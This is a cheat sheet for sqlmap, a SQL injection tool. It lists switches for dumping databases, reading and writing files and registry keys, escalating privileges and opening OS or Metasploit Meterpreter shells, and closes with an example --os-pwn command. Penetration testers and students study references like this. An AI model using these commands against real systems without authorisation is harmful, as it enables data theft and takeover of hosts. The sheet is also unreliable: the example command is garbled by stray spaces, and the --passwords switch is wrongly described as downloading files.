Cheatography

sqlmap Cheat Sheet

by binca via cheatography.com/44948/cs/13352/

Other SQLi Tools

Numerous tools available for asssiting in the discovery of SQLi flaws.

Few tools go beyond data exfiltration and many are not currently managed.

NOT BEING UPDATED:
BBQSQL is a Python framework to ease and speed the exploitation of blind SQLi flaws. 2 Types of blind SQL attack:
Binary Search: Typical technique that splits the character set in one-half
Frequency Search: Based on letters' frequency of occurence in English language text.
Attacks can be coupled with different indicators including timing, HTTP headers, content, size HTTP status codes, and others.

About

Open source, Python-based, command-line SQLi tool

Performs **In-band/Inline and Blind** SQLi discovery and exploitation.

Supports many RDBMS including **MySQL, MSSQL, Oracle, PostgreSQL, SQLite**

Integrates with **Metasploit, Burp, w3af, and ZAP**

Exploit techniques include blind timing, error-based, blind boolean, stack queries, UNION and more

Help

-h	substantial verbosity
-hh	oh my verbosity

There is also a user guide. Sqlmap has many command-line switches to help with discovery and exploit.

Initial Targeting

-u	A URL to kick off sqlmap
--crawl	Spiders site to discover entry points
--forms	Targets forms for injection
--dbms	Can inform sqlmap of the type of DB if known

Authorization, Sessions, and Proxies

-r / -l	Captured HTTP Request or proxy log as starting point, can bridge authentication gap.
--cookie	Manually sets cookies
--proxy	Have sqlmap go through Burp, ZAP, or other proxy

If you have already authenticated or interacted with the target the above switches can be useful.
There are some nuances to sqlmap with proxies because it does not automatically inherit an authenticated session active in y our proxy. It requires configuration.
In ZAP, toggle the "Enable Session Tracking".
In Burp, update Session handling rules under Options>Sessions. The default only includes browsers and scanner.
Note: There may be a performance impact.

DB Data Exfil

--all	Dump all data && metadata
--count	No data exfiltrated, simply provides a count of records. Useful for testing sensitive data stores.
--dump	Steals data given the applied constraints. Example: **-D Orders -T Customers --dump**
--search	Search DB/table for a string

Beyond Data Exfiltration

--users	Enumerate DB user accounts
--passwords	Download files to attack system
--file-read	Download files to attack system
--file-write	Upload files to DB system
--reg-read/--reg-write	Read/Write Windows registry keys
--reg-add/--reg-del	Add/Delete Windows registry keys

Post Exploitation

--priv-esc	Escalate privileges of DBB
--sql-query / --sql-shell	Run single SQL query or get simulated active shell
--os-cmd / --os-shell	Execute single OS command or get simulated interactive OS shell
--os-pwn	OOB Metasploit shell/VNC/Meterpreter, requires an available OOB connection

Note: Requires database to be running a web server with web root that database account can write to and reach. Most effective after pivoting or during an internal engagement.

MSF Shell with SQL Map

```
$ cd /opt/metasploit-framework
$ sqlmap -u " dom ain /sq li/ ?id =1&su bmi t=s -
ubm it" --cook ie= " Cookie Value" --proxy
http:/ /lo cal hos t:8080 --user -agent 88 --os-
pwn -msf-path /opt/m eta spo it- fra mework
```